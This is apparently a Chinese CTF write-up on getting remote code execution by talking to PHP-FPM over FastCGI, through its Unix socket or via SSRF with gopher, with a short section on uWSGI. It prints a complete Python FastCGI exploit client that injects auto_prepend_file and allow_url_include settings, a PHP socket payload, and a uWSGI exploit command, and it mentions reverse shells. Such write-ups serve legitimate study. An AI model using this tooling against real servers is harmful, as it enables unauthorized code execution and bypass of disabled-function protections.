To Begin With
水文预警。
这篇是在 TCTF Final 之后写的，主要是为了记录一下 *CTF echohub / TCTF wallbreaker easy / TCTF wallbreaker not very hard 中的打 FPM 来造成 RCE 的解法。（拖到现在还没写完
上面几个题目中都可以使用 Unix Domain Socket 通信来打 FPM 服务，顺便也补一下 SSRF，即 TCP Socket 的方法，其实两种方法是基本类似的，或者传统思路，拿到权限后直接在 localhost 打。
再多嘴一句，因为洞的原理其实比较老了，原理什么的个大佬解释的都很多了，这里记录下细节吧。
原理建议看一下 P神的这篇 Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 ，如果是新手的话，可以先看 信安之路的 PHP 连接方式介绍以及如何攻击 PHP-FPM。
另外，刚开始写就看到大佬发博客了，这里在前面贴一下，内容比较底层 PHP内核分析-FPM和disable_function安全问题
如果还能想起来的话 .. 后面把 Python 的 uwsgi 也补一下。
PHP-FPM
fpm service
说实话，贴了这么多连接，原理部分其实没得写了，写就是多余。还是简单皮一下吧。
PHP-FPM 服务启动后，在 /run/php/ 目录下生成 sock 文件，同时默认监听 9000 端口。所以我们整体的思路就是通过 socket 与 fpm 通信，或者通过 ssrf 与 9000 端口进行通信。
在这里我们可以看一下 nginx 在配置 fpm 时的配置文件：
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# With php7.0-cgi alone:
# fastcgi_pass 127.0.0.1:9000;
# # With php7.0-fpm:
fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
}
可以看到配置文件中也提供了两种通信方式，如果对 CGI 熟悉或者看了之前的几篇博客，其实我们攻击 CGI 就是类似于模拟 nginx 与 FPM 通信。那我们接下来关注的就是通信过程中我们能够控制的内容。
在 https://www.php.net/manual/zh/install.fpm.configuration.php 提到
PHP配置值通过 php_value 或者 php_flag 设置，并且会覆盖以前的值。请注意 disable_functions 或者 disable_classes 在 php.ini 之中定义的值不会被覆盖掉，但是会将新的设置附加在原有值的后面。
使用 php_admin_value 或者 php_admin_flag 定义的值，不能被 PHP 代码中的 ini_set() 覆盖。
结合 https://www.php.net/manual/zh/ini.list.php php.ini 中的配置，可以发现就像 P 神说的能够设置 auto_prepend_file 为 php://input，那么就等于在执行任何 php 文件前都要包含一遍POST 的内容。（当然，还需要开启远程文件包含选项 allow_url_include ）
当然，除了不能覆盖被禁用的函数外，主要思路是通过覆盖配置，达到可控的文件代码执行的效果，除了上面使用 php://input 外，还可以直接指向一个文件。总结一下的话，常见的利用点主要是： extension_dir=/tmp、extension=x.so、open_basedir=/、allow_url_include = On、auto_prepend_file = php://input。
在 *CTF 中利用了 FPM 绕过了 apache 下面的 disable_func，在 TCTF 中因为是在 FPM 中禁用了函数，需要我们编写一个扩展加载进去，来达到命令执行的效果。这里给个可直接编译的扩展 ant_php_ext。编译时选择和服务器相同的子版本，先安装如 php7.x-dev，之后 phpize && ./configure && make，可得到扩展文件。然后在参数中加入扩展的位置，直接调用扩展中的函数即可。
fpm attack
这里就直接贴代码了，和其他师傅的基本一致。
#!/usr/local/bin python
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext != "":
params['PHP_ADMIN_VALUE']='extension = '+args.ext
response = client.request(params, content)
response = base64.b64encode(response)#urllib.quote(response)
print(response)
需要注意的是，我改了一下参数，如果需要手动指定扩展路径的话，需要使用 'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = ant.so" 的形式。如果需要指定包含的文件而不是 php://input，把 'auto_prepend_file = php://input' 中 php://input 改成文件路径即可，此时 -c 选项可以不用指定。
之后可以发送如下包：
shell=$sock=stream_socket_client('unix:///run/php/php7.0-fpm.sock');fputs($sock, base64_decode($_POST['A']));var_dump(fread($sock, 4096));&A=base64payload
显而易见的是，这种通信的内容与 TCP 通信是相同的，那我们可以利用同样的通信包来 SSRF 打 FPM，如 gopher://127.0.0.1:8000/_urlencode(payload) ，SSRF 相关的注意事项就不在这里贴了，之前的内容贴了好几个。
uwsgi
uwsgi service
在 python 里面也有网关接口协议，现在可以知道 fastcgi 与 wsgi 很多程度上说的是协议，而 php-fpm 可以理解为协议的具体实现。同样的在 python 里面有个实现了 wsgi 协议的服务器 uWSGI，其内置协议就取名为 uwsgi，其实是对 wsgi 的实现和拓展。所以某种层度上说，python 里的 uwsgi 和php里的 php-fpm 地位十分相似。体现在他们都可以作为 nginx 服务应用的接口，提供对 python 和 php 的脚本解析支持。
官方文档：https://uwsgi-docs.readthedocs.io/en/latest/WSGIquickstart.html
常见的 nginx 配置如下：
location / {
include uwsgi_params;
uwsgi_pass 127.0.0.1:3031;
}
常见的 web server 应该就是 django 和 flask 了，文档中都给出了快速搭建方法。
查了下这个点在题目中的出现情况，只找到了 RWCTF magic 题目，以及 QWB2019 babywebbb，其实出现的次数还是很少的。贴 RWCTF 的一篇 wp，构造过程还是很详细的：https://xz.aliyun.com/t/3512
（有时间的话这块内容再补补 ..）
uwsgi attack
https://github.com/wofeiwo/webcgi-exploits
利用上面写好的脚本，使用支持的 exec scheme 造成 RCE，最简单的方式之一就是直接反弹shell。
python uwsgi_exp.py -c command -u target
ref
WPs:
http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/#wallbreaker-not-very-hard
https://mp.weixin.qq.com/s/kEdRsereBB7ljc1ooPpzbA tctf
https://xz.aliyun.com/t/5006#toc-3 qwb
https://www.jianshu.com/p/db6e2576b674 qwb
Tools:
https://github.com/wuyunfeng/Python-FastCGI-Client
https://github.com/wofeiwo/webcgi-exploits